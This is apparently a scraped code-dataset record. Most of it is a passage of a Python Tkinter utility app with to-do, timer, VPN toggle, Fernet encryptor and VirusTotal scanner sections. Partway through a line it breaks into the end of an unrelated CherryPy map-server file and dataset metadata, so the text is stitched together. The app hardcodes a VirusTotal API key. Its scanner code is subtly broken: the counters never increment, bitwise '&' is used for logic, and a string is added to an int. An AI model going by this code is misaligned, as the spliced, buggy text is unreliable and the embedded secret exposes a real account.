Pomodoro_BG.configure(image = Pomodoro_IMG1)\n break\n\n Sec.update() # update the frame\n time.sleep(1)\n\n Thread_Value = True\n\n Thread = threading.Thread(target=WOW)\n Thread.start()\n\n def Thread_Stop():\n global Thread_Value\n Thread_Value = False\n\n Reset_Btn_IMG = PhotoImage(file = f\"GUI Images\\\\reset_btn.png\")\n Reset_Btn = Button(image = Reset_Btn_IMG,borderwidth = 0,highlightthickness = 0,command = Thread_Stop, activebackground= '#151D33', relief = \"flat\")\n Reset_Btn.place(x = 346, y = 196,width = 55,height = 30)\n\n Play_Btn_IMG = PhotoImage(file = f\"GUI Images\\\\play_btn.png\")\n Play_Btn = Button(image = Play_Btn_IMG,borderwidth = 0,highlightthickness = 0,command = Timer_Start,activebackground= '#151D33', relief = \"flat\")\n Play_Btn.place(x = 267, y = 196,width = 54,height = 30)\n\n Pomo_Frame.mainloop()\n Task_Frame.mainloop()\n\n def Todo(): # To Do Section\n\n global task_entry\n global ToDo_Frame\n global List\n\n Timer_Button.configure(image = Timer_0) # UnHighlight Timer\n To_Do_Button.configure(image = To_Do_1) # Highlight To-Do\n\n #_____Todo Frame_____#\n\n ToDo_Frame = Frame(window,bg = \"#151d33\",height = 227,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n ToDo_Frame.place(x = 82, y = 58)\n ToDo_BG = Label(ToDo_Frame, bg = \"#151d33\", image = ToDo_Main, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n ToDo_BG.pack()\n\n #_____ADD & DEL Functions_____#\n\n def list_validation(): # Validate if Items are Duplicated & To Delete Empty Rows (bug) etc.\n\n # Delete Empty Rows Appearing After Button Press\n output=\"\"\n with open(\"Sample Files\\\\Note_Text\\\\NoteTXT.txt\") as f:\n for line in f:\n if not line.isspace():\n output+=line\n \n f = open(\"Sample Files\\\\Note_Text\\\\NoteTXT.txt\",\"w\")\n f.write(output)\n f.close()\n\n # Duplicate Item Validation\n NoteTXT = open('Sample Files\\\\Note_Text\\\\NoteTXT.txt', 'r')\n data2 = NoteTXT.readlines()\n to_add = task_entry.get()\n\n X = 0\n for line in data2:\n line = line.strip('\\n')\n if line.strip(' - ') == to_add:\n X = X + 1\n task_entry.configure(fg=\"red\")\n task_entry.delete(0, END)\n task_entry.insert(END,\"Duplicate Item Found\")\n task_entry.update()\n time.sleep(1)\n task_entry.configure(fg=\"black\")\n task_entry.delete(0, END)\n break\n\n def add_item(): # Add Items To The List\n global task_entry\n global List\n\n list_validation()\n \n to_add = task_entry.get()\n X = 0\n\n # Add item to the text file\n if to_add != \"\" and X == 0:\n with open('Sample Files\\\\Note_Text\\\\NoteTXT.txt', 'a') as file:\n file.write('\\n - ' + to_add.rstrip())\n\n # Add item to the ListBox\n to_add2 = ' - ' + task_entry.get()\n List.insert(END, to_add2)\n task_entry.delete(0, END)\n task_entry.insert(0,\"\")\n task_entry.update()\n \n if List.size() > 7:\n Arrow1.configure(image = Arrow_IMG)\n \n List.update()\n\n def delete_item(): # Delete Items On The List\n\n global List\n\n list_validation()\n\n NoteTXT = open('Sample Files\\\\Note_Text\\\\NoteTXT.txt', 'r')\n data2 = NoteTXT.readlines()\n\n # Delete item from the text file\n selected = List.get(ANCHOR)\n\n with open(\"Sample Files\\\\Note_Text\\\\NoteTXT.txt\", \"w\") as file:\n for line in data2:\n if line.strip(\"\\n\") != selected.rstrip():\n file.write(line)\n\n # Delete item to the ListBox\n List.delete(ANCHOR)\n\n if List.size() < 8:\n Arrow1.configure(image = Arrow1_IMG)\n\n List.update()\n\n #----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n # EntryBox\n task_entry = Entry(bd = 0,bg = \"#ececec\",highlightthickness = 0,font=MainFont)\n task_entry.place(x = 102.0, y = 246,width = 334,height = 26)\n\n # Delete Button\n delete_button = Button(image = ToDo_Del_IMG,borderwidth = 0,highlightthickness = 0,command = delete_item,activebackground= '#1E2746',relief = \"flat\")\n delete_button.place(x = 518, y = 242,width = 54,height = 30)\n\n # Add Button\n add_button = Button(image = ToDo_Add_IMG,borderwidth = 0,highlightthickness = 0,command = add_item,activebackground= '#1E2746',relief = \"flat\")\n add_button.place(x = 455, y = 242,width = 54,height = 30)\n\n #----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n # Item ListBox\n List = Listbox(ToDo_Frame, font=MainFont, width = 52, height = 7, bd = 0, bg=\"#ECECEC\", highlightthickness = 0, selectbackground = '#a6a6a6', selectforeground= '#000000', activestyle = NONE)\n List.place(x = 17, y = 15)\n\n list_validation()\n\n # Arrow\n Arrow1 = Label(ToDo_Frame, image = Arrow1_IMG, bd = 0, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Arrow1.place(x = 240, y = 156)\n\n # Entry Rounded Image\n ToDo_Entry = Label(ToDo_Frame, bg = \"#000000\", image = ToDo_Entry_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n ToDo_Entry.place(x = 16, y =187)\n\n # Scroll Bar\n Scroll = Scrollbar(ToDo_Frame)\n Scroll.place(x = 470, y = 10, height = 150)\n List.config(yscrollcommand=Scroll.set)\n Scroll.config(command=List.yview)\n\n # Opening & Inserting textfile contents into ListBox\n NoteTXT = open('Sample Files\\\\Note_Text\\\\NoteTXT.txt', 'r')\n data = NoteTXT.readlines()\n for item in data: \n List.insert(END,item)\n\n if List.size() > 7:\n Arrow1.configure(image = Arrow_IMG)\n\n keyboard.add_hotkey('Return', add_item)\n keyboard.add_hotkey('Delete', delete_item)\n \n List.update()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n #_____To-Do, Timer, QR to Link Section Buttons_____#\n\n Timer_Button = Button(image = Timer_0,borderwidth = 0,highlightthickness = 0,command = Pomodoro,activebackground= '#1E2746',relief = \"flat\")\n Timer_Button.place(x = 321, y = 27,width = 70,height = 22)\n\n To_Do_Button = Button(image = To_Do_1,borderwidth = 0,highlightthickness = 0,command = Todo,activebackground= '#1E2746',relief = \"flat\")\n To_Do_Button.place(x = 214, y = 27,width = 70,height = 22)\n\n Todo() # starting frame is the Todo List\n\n Task_Frame.mainloop()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef Security():\n\n #_____All images for Security Section_____#\n\n # Security Sections Button Image (unhighlighted)\n VPN_0 = PhotoImage(file = f\"GUI Images\\\\VPN_0.png\")\n Encryptor_0 = PhotoImage(file = f\"GUI Images\\\\Encryptor_0.png\")\n Scanner_0 = PhotoImage(file = f\"GUI Images\\\\Scanner_0.png\")\n\n # Security Sections Button Image (highlighted)\n VPN_1 = PhotoImage(file = f\"GUI Images\\\\VPN_1.png\")\n Encryptor_1 = PhotoImage(file = f\"GUI Images\\\\Encryptor_1.png\")\n Scanner_1 = PhotoImage(file = f\"GUI Images\\\\Scanner_1.png\")\n\n Padlock_IMG = PhotoImage(f\"GUI Images\\\\Pad.png\") # Padlock IMG\n\n Security_Main_IMG = PhotoImage(file = f\"GUI Images\\\\Security.png\") # VPN Background Main\n Security_OFF_IMG = PhotoImage(file = f\"GUI Images\\\\Security1.png\") # VPN Background OFF\n Security_ON_IMG = PhotoImage(file = f\"GUI Images\\\\Security2.png\") # VPN Background ON\n\n OFF_IMG = PhotoImage(file = f\"GUI Images\\\\OFF.png\") # VPN OFF Button\n ON_IMG = PhotoImage(file = f\"GUI Images\\\\ON.png\") # VPN OFF Button\n\n Encryptor_BG_IMG = PhotoImage(file = f\"GUI Images\\\\Encryptor_BG.png\")\n Encryptor_BG1_IMG = PhotoImage(file = f\"GUI Images\\\\Encryptor_BG1.png\")\n Encryptor_BG2_IMG = PhotoImage(file = f\"GUI Images\\\\Encryptor_BG2.png\")\n\n GenerateKey_IMG = PhotoImage(file = f\"GUI Images\\\\GenerateKey.png\")\n Encrypt_IMG = PhotoImage(file = f\"GUI Images\\\\Encrypt.png\")\n Decrypt_IMG = PhotoImage(file = f\"GUI Images\\\\Decrypt.png\")\n DotKey_IMG = PhotoImage(file = f\"GUI Images\\\\DotKey.png\")\n DotTXT_IMG = PhotoImage(file = f\"GUI Images\\\\DotTXT.png\")\n\n Scanner_BG_IMG = PhotoImage(file = f\"GUI Images\\\\Scanner_BG.png\")\n Scanner_BG_IMG_1 = PhotoImage(file = f\"GUI Images\\\\Scanner_BG_1.png\")\n Scan_BTN = PhotoImage(file = f\"GUI Images\\\\Scan_BTN.png\")\n Select_BTN = PhotoImage(file = f\"GUI Images\\\\Select_BTN.png\")\n URL_Good = PhotoImage(file = f\"GUI Images\\\\URL_Good.png\")\n File_Good = PhotoImage(file = f\"GUI Images\\\\File_Good.png\")\n Error_Bad = PhotoImage(file = f\"GUI Images\\\\Error_Bad.png\")\n Back_IMG = PhotoImage(file = f\"GUI Images\\\\Back.png\")\n \n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n #_____Main Frame____#\n\n window.configure(bg = \"#151d33\")\n\n Security_Frame = Frame(window,bg = \"#151d33\",height = 270,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Security Frame\n Security_Frame.place(x = 82, y = 15)\n Sec = Label(Security_Frame, bg = \"#151d33\", image = Security_Main_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Sec.pack()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------# \n\n #_____VPN, Encryptor/Decryptor & File/URL Scanner Sections____#\n\n def VPN():\n global SV # Switch Value\n global SVPN # Speech VPN (Variable used when speech mode is used to turn VPN on)\n\n VPN_Button.configure(image = VPN_1)\n Encryptor_Button.configure(image = Encryptor_0)\n Scanner_Button.configure(image = Scanner_0)\n\n VPN_Frame = Frame(window,bg = \"#151d33\",height = 235,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n VPN_Frame.place(x = 82, y = 50)\n Sec1 = Label(VPN_Frame, bg = \"#151d33\", image = Security_OFF_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Sec1.pack()\n\n #----------------------------------------------------------------------------------------------------------------------------------------------------------------# \n\n def ON():\n global SV # Switch Value\n global SVPN # Speech VPN (Variable used when speech mode is used to turn VPN on)\n\n if SV == True:\n Switch.configure(image = ON_IMG)\n Sec1.configure(image = Security_ON_IMG)\n subprocess.call('C://Program Files//OpenVPN Connect//OpenVPNConnect.exe')\n X = 0\n while X < 1: # Wait until OpenVPN is fully loaded so the ON button can be located\n SWITCH = pg.locateOnScreen('Image Recognition\\\\Switch.png',grayscale=True, confidence=0.8)\n if SWITCH != None:\n pg.click(SWITCH)\n X = 1\n else:\n time.sleep(1)\n continue\n time.sleep(1)\n pg.hotkey('win', 'down')\n SV = False\n elif SV == False:\n Switch.configure(image = OFF_IMG)\n Sec1.configure(image = Security_OFF_IMG)\n subprocess.call('C://Program Files//OpenVPN Connect//OpenVPNConnect.exe')\n X = 0\n while X < 1: # Wait until OpenVPN is fully loaded so the ON button can be located\n SWITCH = pg.locateOnScreen('Image Recognition\\\\Switch2.png',grayscale=True, confidence=0.8)\n if SWITCH != None:\n pg.click(SWITCH)\n X = 1\n else:\n time.sleep(1)\n continue\n time.sleep(1)\n pg.hotkey('win', 'down')\n SV = True\n\n Switch = Button(image = OFF_IMG,borderwidth = 0,highlightthickness = 0,command = ON,activebackground= '#1F2D42',relief = \"flat\")\n Switch.place(x = 181, y = 195, width = 60, height = 32)\n\n #----------------------------------------------------------------------------------------------------------------------------------------------------------------# \n\n if SV == False: # (Save Frame) For VPN frame to show ON when navigating to another section\n Switch.configure(image = ON_IMG)\n Sec1.configure(image = Security_ON_IMG)\n elif SV == True:\n pass\n\n if SVPN == True: # Speech Mode activating VPN\n ON()\n SVPN = False\n else:\n pass\n\n VPN_Frame.mainloop()\n\n def Encryptor():\n global data1\n global data2\n global TXT_AND_KEY\n global Encryptor_Frame\n global GenerateKey_Button\n\n VPN_Button.configure(image = VPN_0)\n Encryptor_Button.configure(image = Encryptor_1)\n Scanner_Button.configure(image = Scanner_0)\n\n # 128-bits, AES128 Encryption (UTF 8 Encoding)\n\n path = f\"Sample Files\\\\Generated_Key\"\n dir_list = os.listdir(path)\n\n if len(dir_list) == 0:\n Encryptor_Frame = Frame(window,bg = \"#151d33\",height = 270,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Encryptor Frame\n Encryptor_Frame.place(x = 82, y = 50)\n Enc = Label(Encryptor_Frame, bg = \"#151d33\", image = Encryptor_BG_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Enc.pack()\n else:\n Encryptor_Frame = Frame(window,bg = \"#151d33\",height = 270,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Encryptor Frame\n Encryptor_Frame.place(x = 82, y = 50)\n Enc = Label(Encryptor_Frame, bg = \"#151d33\", image = Encryptor_BG1_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Enc.pack()\n\n def Generate():\n key = Fernet.generate_key() # Generate Key\n\n with open(os.path.join('Sample Files\\\\Generated_Key','keygen.key'),'wb')as mykey: # Save Generated Key\n mykey.write(key)\n\n Enc.configure(image = Encryptor_BG1_IMG)\n \n TXT_AND_KEY = 0 # Variable used to determine & display a tick if both txt and key files are imported (if 2 = both files have been imported)\n\n def DotKey():\n global TXT_AND_KEY\n global data1\n try:\n DotKeyName = filedialog.askopenfilename(initialdir=\"Sample Files\\\\Generated_Key\\\\\",title=\"Select A File\", filetypes=((\"key\", \"*.key\"), (\"all files\", \"*.*\")))\n seed1 = open(DotKeyName, 'rb')\n data1 = seed1.read()\n print(data1)\n TXT_AND_KEY += 1\n\n if TXT_AND_KEY == 2:\n Enc.configure(image = Encryptor_BG2_IMG)\n except:\n pass\n\n def DotTXT():\n global TXT_AND_KEY\n global data2\n try:\n DotTXT = filedialog.askopenfilename(initialdir=\"Sample Files\\\\Secret_Text\\\\\\\\\",title=\"Select A File\", filetypes=((\"text\", \"*.txt\"), (\"all files\", \"*.*\")))\n seed2 = open(DotTXT, 'rb')\n data2 = seed2.read()\n print(data2)\n TXT_AND_KEY += 1\n\n if TXT_AND_KEY == 2:\n Enc.configure(image = Encryptor_BG2_IMG)\n except:\n pass \n \n def Encrypt():\n global data1 # Key File\n global data2 # TXT File\n global TXT_AND_KEY\n\n path = f\"Sample Files\\\\Secret_Text\\\\\" # Path to save file\n\n try:\n if TXT_AND_KEY == 2:\n f = Fernet(data1)\n encryptedData = f.encrypt(data2)\n with open(os.path.join('Sample Files\\\\Secret_Text\\\\', 'SecretEncrypted.txt'),'wb') as SecretEncrypted: # Save Encrypted File\n SecretEncrypted.write(encryptedData)\n TXT_AND_KEY = 0\n except:\n pass\n \n window.update()\n\n def Decrypt():\n global data1 # Key File\n global data2 # TXT File\n global TXT_AND_KEY\n\n try:\n if TXT_AND_KEY == 2:\n f = Fernet(data1) # Utilize the Key\n decryptedData = f.decrypt(data2) # Encrypt the Data\n with open(os.path.join('Sample Files\\\\Secret_Text\\\\', 'SecretDecrypted.txt'),'wb') as SecretDecrypted: # Save Encrypted File\n SecretDecrypted.write(decryptedData)\n TXT_AND_KEY = 0\n except:\n pass\n\n window.update()\n\n GenerateKey_Button = Button(image = GenerateKey_IMG,borderwidth = 0,highlightthickness = 0,command = Generate,activebackground= '#151D33',relief = \"flat\")\n GenerateKey_Button.place(x = 269, y = 66,width = 129,height = 34)\n\n DotKey_Button = Button(image = DotKey_IMG,borderwidth = 0,highlightthickness = 0,command = DotKey,activebackground= '#151D33',relief = \"flat\")\n DotKey_Button.place(x = 195, y = 125,width = 80,height = 80)\n\n DotTXT_Button = Button(image = DotTXT_IMG,borderwidth = 0,highlightthickness = 0,command = DotTXT,activebackground= '#151D33',relief = \"flat\")\n DotTXT_Button.place(x = 393, y = 125,width = 80,height = 80)\n\n Encrypt_Button = Button(image = Encrypt_IMG,borderwidth = 0,highlightthickness = 0,command = Encrypt,activebackground= '#151D33',relief = \"flat\")\n Encrypt_Button.place(x = 185, y = 231,width = 100,height = 34)\n\n Decrypt_Button = Button(image = Decrypt_IMG,borderwidth = 0,highlightthickness = 0,command = Decrypt,activebackground= '#151D33',relief = \"flat\")\n Decrypt_Button.place(x = 383, y = 231,width = 100,height = 34)\n\n Encryptor_Frame.mainloop()\n\n def Scanner():\n # DONE WITH THE HELP OF VIRUS TOTAL API DOCUMENTATION\n\n global MainFont\n global urlscan_entry\n global scanned_file\n\n VPN_Button.configure(image = VPN_0)\n Encryptor_Button.configure(image = Encryptor_0)\n Scanner_Button.configure(image = Scanner_1)\n\n Scanner_Frame = Frame(window,bg = \"#151d33\",height = 235,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Encryptor Frame\n Scanner_Frame.place(x = 82, y = 50)\n Scan = Label(Scanner_Frame, bg = \"#151d33\", image = Scanner_BG_IMG, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Scan.pack()\n\n def Good_Widget(A):\n global Good_Frame\n\n def back():\n Good_Frame.destroy()\n Back.destroy()\n\n Good_Frame = Frame(window,bg = \"#151d33\",height = 235,width = 503,bd = 0,highlightthickness = 0,relief = \"ridge\", borderwidth = 0) # Encryptor Frame\n Good_Frame.place(x = 82, y = 50)\n\n if A == '1':\n Good = Label(Good_Frame, bg = \"#151d33\", image = URL_Good, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Good.pack()\n elif A == '2':\n Bad = Label(Good_Frame, bg = \"#151d33\", image = File_Good, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Bad.pack()\n elif A == '3':\n Error = Label(Good_Frame, bg = \"#151d33\", image = Error_Bad, highlightthickness = 0,relief = \"ridge\", borderwidth = 0)\n Error.pack()\n else:\n pass \n\n Back = Button(image = Back_IMG,borderwidth = 0,highlightthickness = 0,command = back,relief = \"flat\", activebackground = '#151D33')\n Back.place(x = 243, y = 221,width = 182,height = 34)\n\n Good_Frame.mainloop()\n\n def SCAN(): # Scan either URL or File\n global urlscan_entry\n\n if urlscan_entry.get() == '':\n FILE_Scan()\n else:\n URL_Scan()\n\n def FILE_Select(): # Choose the specific file to be scanned\n global scanned_file\n scan_file = filedialog.askopenfilename(initialdir=\"C:\\\\\",title=\"Select A File\", filetypes=((\"text files\", \"*.txt\"), (\"all files\", \"*.*\")))\n scanned_file = open(scan_file, 'rb')\n\n Scan.configure(image = Scanner_BG_IMG_1) # Tick becomes green\n\n def FILE_Scan(): # Scan the File Imported\n global scanned_file\n\n url = \"https://www.virustotal.com/api/v3/files\"\n\n try:\n files = {\"file\": scanned_file}\n\n headers = {\n \"Accept\": \"application/json\",\n \"x-apikey\": \"3f361951cb29469873e06f132088b9d81f478afc5d46dd1b26f9ba4525d0e857\"\n }\n\n response1 = requests.post(url, files=files, headers=headers) # Initiating the API connection with parameters (Headers)\n decodedResponse1 = json.loads(response1.text) # Convert into json format\n hash_id = (decodedResponse1[\"data\"][\"id\"]) # Getting Hash ID for File\n\n url = \"https://www.virustotal.com/api/v3/analyses/\" + hash_id\n\n response2 = requests.get(url, headers=headers)\n decodedResponse2 = json.loads(response2.text)\n\n main_check = (decodedResponse2[\"data\"][\"attributes\"][\"stats\"])\n suspicious_check_int = int(main_check[\"suspicious\"])\n suspicious_check_str = str(main_check[\"suspicious\"])\n malicious_check_int = int(main_check[\"malicious\"])\n malicious_check_str = str(main_check[\"malicious\"])\n # undetected_int = int(main_check[\"undetected\"])\n # undetected_str = str(main_check[\"undetected\"])\n total_check = suspicious_check_int + malicious_check_int\n\n if suspicious_check_int > malicious_check_int & suspicious_check_int > 0: \n messagee = 'The URL provided was rated as \\'Suspicious\\' by ' + suspicious_check_str + ' Engines.'\n messagebox.showwarning(title = 'Scan Complete', message = messagee)\n\n elif suspicious_check_int < malicious_check_int & malicious_check_int > 0:\n messagee = 'The URL provided was rated as \\'Malicious\\' by ' + malicious_check_str + ' Engines.'\n messagebox.showwarning(title = 'Scan Complete', message = messagee)\n\n elif suspicious_check_int == malicious_check_int & total_check > 0:\n total_eng = suspicious_check_int + malicious_check_int\n messagee = 'The URL provided was rated as both \\'Malicious\\' and \\'Suspicious\\' by ' + total_eng + ' Engines.'\n messagebox.showwarning(title = 'Scan Complete', message = messagee)\n\n else:\n Good_Widget('2')\n\n except:\n Good_Widget('3')\n \n def URL_Scan(): # # Scan the URL Pasted\n global urlscan_entry\n global Good_Frame\n\n # user input, ip or url, to be submitted for a url analysis stored in the target_url variable\n target_url = urlscan_entry.get()\n\n # For a url analysis report virustotal requires the \"URL identifier\" or base64 representation of URL to scan (w/o padding)\n\n try:\n # create virustotal \"url identifier\" from user input stored in target_url\n # Encode the user submitted url to base64 and strip the \"==\" from the end\n url_id = base64.urlsafe_b64encode(target_url.encode()).decode().strip(\"=\")\n\n # amend the virustotal apiv3 url to include the unique generated url_id\n url = \"https://www.virustotal.com/api/v3/urls/\" + url_id\n\n API_KEY = '3f361951cb29469873e06f132088b9d81f478afc5d46dd1b26f9ba4525d0e857'\n\n headers = {\n \"Accept\": \"application/json\",\n \"x-apikey\": API_KEY\n }\n\n response = requests.request(\"GET\", url, headers=headers)\n\n # load returned json from virustotal into a python dictionary called decodedResponse\n decodedResponse = json.loads(response.text)\n\n dict_web = decodedResponse[\"data\"][\"attributes\"][\"last_analysis_results\"]\n tot_engine_c = 0\n tot_detect_c = 0\n result_eng = []\n eng_name = []\n count_harmless = 0\n for i in dict_web:\n tot_engine_c - 1 + tot_engine_c\n if dict_web[i][\"category\"] == \"malicious\" or dict_web[i][\"category\"] == \"suspicious\":\n result_eng.append(dict_web[i][\"result\"])\n eng_name.append(dict_web[i][\"engine_name\"])\n tot_detect_c - 1 + tot_detect_c\n res = []\n\n for i in result_eng:\n if i not in res:\n res.append(i)\n result_eng = res\n\n if tot_detect_c > 0:\n messagee = \"The URL provied was rated for \" + str(result_eng)[1:-1] + \" on \" + str(tot_detect_c) + \" engines out of \"+ str(tot_engine_c)\n messagebox.showwarning(title = 'Scan Complete', message = messagee)\n else:\n Good_Widget('1')\n\n except:\n Good_Widget('3')\n\n urlscan_entry = Entry(bd = 0,bg = \"#ececec\",highlightthickness = 0,font=MainFont)\n urlscan_entry.place(x = 162.0, y = 79,width = 387.0,height = 24)\n\n Scan_Purple_BTN = Button(image = Scan_BTN,borderwidth = 0,highlightthickness = 0,command = SCAN,activebackground= '#151D33',relief = \"flat\")\n Scan_Purple_BTN.place(x = 243, y = 221,width = 182,height = 34)\n\n Select_Purple_BTN = Button(image = Select_BTN,borderwidth = 0,highlightthickness = 0,command = FILE_Select,activebackground= '#151D33',relief = \"flat\")\n Select_Purple_BTN.place(x = 243, y = 142,width = 182,height = 34)\n\n Scanner_Frame.mainloop()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n #_____VPN, Encryptor/Decryptor & File/URL Scanner Buttons_____#\n\n VPN_Button = Button(image = VPN_1,borderwidth = 0,highlightthickness = 0,command = VPN,activebackground= '#1E2746',relief = \"flat\")\n VPN_Button.place(x = 236, y = 23,width = 75,height = 28)\n\n Encryptor_Button = Button(image = Encryptor_0,borderwidth = 0,highlightthickness = 0,command = Encryptor,activebackground= '#1E2746',relief = \"flat\")\n Encryptor_Button.place(x = 333, y = 23,width = 97,height = 28)\n\n Scanner_Button = Button(image = Scanner_0,borderwidth = 0,highlightthickness = 0,command = Scanner,activebackground= '#1E2746',relief = \"flat\")\n Scanner_Button.place(x = 452, y = 23,width = 97,height = 28)\n\n Padlock_Button = Button(image = Padlock_IMG, command = VPN, borderwidth = 0)\n Padlock_Button.place(x = 200, y = 200)\n\n VPN() # starting frame is the VPN List\n\n Security_Frame.mainloop()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef Settings():\n global window\n global SET\n\n if SET == True:\n window.geometry(\"1200x600\")\n SET = False\n elif SET == False:\n window.geometry(\"600x300\")\n SET = True\n window.mainloop()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef Speech():\n\n def Speechh():\n global SV # Switch Value\n global SVPN # Speech VPN (Variable used when speech mode is used to turn VPN on)\n global window\n\n recognizer = speech_recognition.Recognizer()\n\n pygame.mixer.init()\n Listen = pygame.mixer.Sound(\"Sound\\\\Listen.wav\")\n Listen.set_volume(0.5)\n Listen.play()\n \n while True:\n\n try: \n\n with speech_recognition.Microphone() as mic:\n\n recognizer.adjust_for_ambient_noise(mic, duration=0.2)\n audio = recognizer.listen(mic)\n\n text = recognizer.recognize_google(audio)\n text = text.lower()\n\n print(f\"{text}\")\n\n if text == \"on vpn\":\n SVPN = True\n SV = True\n Listen = pygame.mixer.Sound(\"Sound\\\\Work.wav\")\n Listen.set_volume(0.5)\n Listen.play()\n Security()\n elif text == \"off vpn\":\n SVPN = True\n SV = False\n Listen = pygame.mixer.Sound(\"Sound\\\\Work.wav\")\n Listen.set_volume(0.5)\n Listen.play()\n Security()\n else:\n Listen = pygame.mixer.Sound(\"Sound\\\\NoWork.wav\")\n Listen.set_volume(0.5)\n Listen.play()\n \n break\n\n except:\n break\n\n # except speech_recognition.UnknownValueError():\n\n # recognizer = speech_recognition.Recognizer()\n # continue\n\n Thread = threading.Thread(target=Speechh)\n Thread.start()\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\ndef MainWindow():\n global window\n\n #_____Master Window Configuration_____#\n\n window.geometry(\"600x300\")\n window.configure(bg = \"#020b1f\")\n canvas = Canvas(\n window,\n bg = \"#020b1f\",\n height = 300,\n width = 600,\n bd = 0,\n highlightthickness = 0,\n relief = \"ridge\")\n canvas.place(x = 0, y = 0)\n\n MainWindow_img1 = PhotoImage(file = f\"GUI Images\\\\MainWindow.png\")\n MainWindow = canvas.create_image(\n 300.0, 150.0,\n image=MainWindow_img1)\n\n HHimg0 = PhotoImage(file = f\"GUI Images\\\\HHimg0.png\") # For Hover Button 0 (Mic)\n HHimg1 = PhotoImage(file = f\"GUI Images\\\\HHimg1.png\") # For Hover Button 1 (Settings)\n HHimg2 = PhotoImage(file = f\"GUI Images\\\\HHimg2.png\") # For Hover Button 2 (Security)\n HHimg3 = PhotoImage(file = f\"GUI Images\\\\HHimg3.png\") # For Hover Button 3 (Task)\n HHimg4 = PhotoImage(file = f\"GUI Images\\\\HHimg4.png\") # For Hover Button 4 (Main Menu)\n\n Himg0 = PhotoImage(file = f\"GUI Images\\\\Himg0.png\") # For Pressed Button 0 (Mic)\n Himg1 = PhotoImage(file = f\"GUI Images\\\\Himg1.png\") # For Pressed Button 1 (Settings)\n Himg2 = PhotoImage(file = f\"GUI Images\\\\Himg2.png\") # For Pressed Button 2 (Security)\n Himg3 = PhotoImage(file = f\"GUI Images\\\\Himg3.png\") # For Pressed Button 3 (Task)\n Himg4 = PhotoImage(file = f\"GUI Images\\\\Himg4.png\") # For Pressed Button 4 (Main Menu)\n\n img0 = PhotoImage(file = f\"GUI Images\\\\img0.png\") # For Main Button 0 (Mic)\n img1 = PhotoImage(file = f\"GUI Images\\\\img1.png\") # For Main Button 1 (Settings)\n img2 = PhotoImage(file = f\"GUI Images\\\\img2.png\") # For Main Button 2 (Security)\n img3 = PhotoImage(file = f\"GUI Images\\\\img3.png\") # For Main Button 3 (Task)\n img4 = PhotoImage(file = f\"GUI Images\\\\img4.png\") # For Main Button 4 (Main Menu)\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n # Button 0 (Mic Button)\n\n def onButton0(X): # Hover Effect On\n global A\n if A == 1: \n Mic_Button['image'] = HHimg0\n \n def leaveButton0(X): # Hover Effect Off\n global A\n if A == 1:\n Mic_Button['image'] = img0\n\n def Pressed0(): # Button Press (Using Voice Command)\n Mic_Button.configure(image = Himg0)\n print(\"Listening...\")\n Speech()\n time.sleep(4)\n Mic_Button.configure(image = img0) \n\n Mic_Button = Button(image = img0,borderwidth = 0,highlightthickness = 0,command = Speech,activebackground='#151D33',relief = \"flat\")\n Mic_Button.place(x = 16, y = 234,width = 52,height = 52)\n\n Mic_Button.bind('',onButton0)\n Mic_Button.bind('',leaveButton0)\n keyboard.add_hotkey('V', Pressed0)\n\n#----------------------------------------------------------------------------------------------------------------------------------------------------------------#\n\n # Button 1 (Settings Button)\n\n def onButton1(X): # Hover Effect On\n global B\n if B == 1: \n Settings_Button['image'] = HHimg1\n\n def leaveButton1(X): # Hover Effect Off\n global B\n if B == 1:\n Settings_Button['image'] = img1\n\n def Pressed1(X): # Button Press\n\n Mic_Button.configure(image = img0) \n Settings_Button.configure(image = Himg1) \n Security_Button.configure(image = img2) \n Task_Button.configure(image = img3) \n MainMenu_Button.configure(image = img4)\n global A\n global B\n global C\n global D\n global E\n A = 1\n B = B + 1 \n C = 1\n D = 1\n E = 1\n\n Settings_Button = Button(image = img1,borderwidth = 0,highlightthickness = 0,command = Settings,activebackground='#151D33',relief = \"flat\")\n Settings_Button.place(x = 16, y = 183,width = 52,height = 42)\n \n Settings_Button.bind ('',onButton1)\n Settings_Button.bind('',leaveButton1)\n Settings_Button.bind ('\n \n \n \"\"\"\n\n @cherrypy.expose\n def generate(self, latlng=\"34,45\"):\n f1 = open(\"maps.html\", \"r\")\n line1=f1.readlines()\n s=''.join(line1)\n return s.replace(\"{{VALUE}}\", latlng)\n \n\nif __name__ == '__main__':\n cherrypy.quickstart(StringGenerator())\n", "repo_name": "darthbhyrava/GoogleMapsAPI", "sub_path": "Rev. Geocoding using POST/maps.py", "file_name": "maps.py", "file_ext": "py", "file_size_in_byte": 701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "cherrypy.expose", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cherrypy.expose", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cherrypy.quickstart", 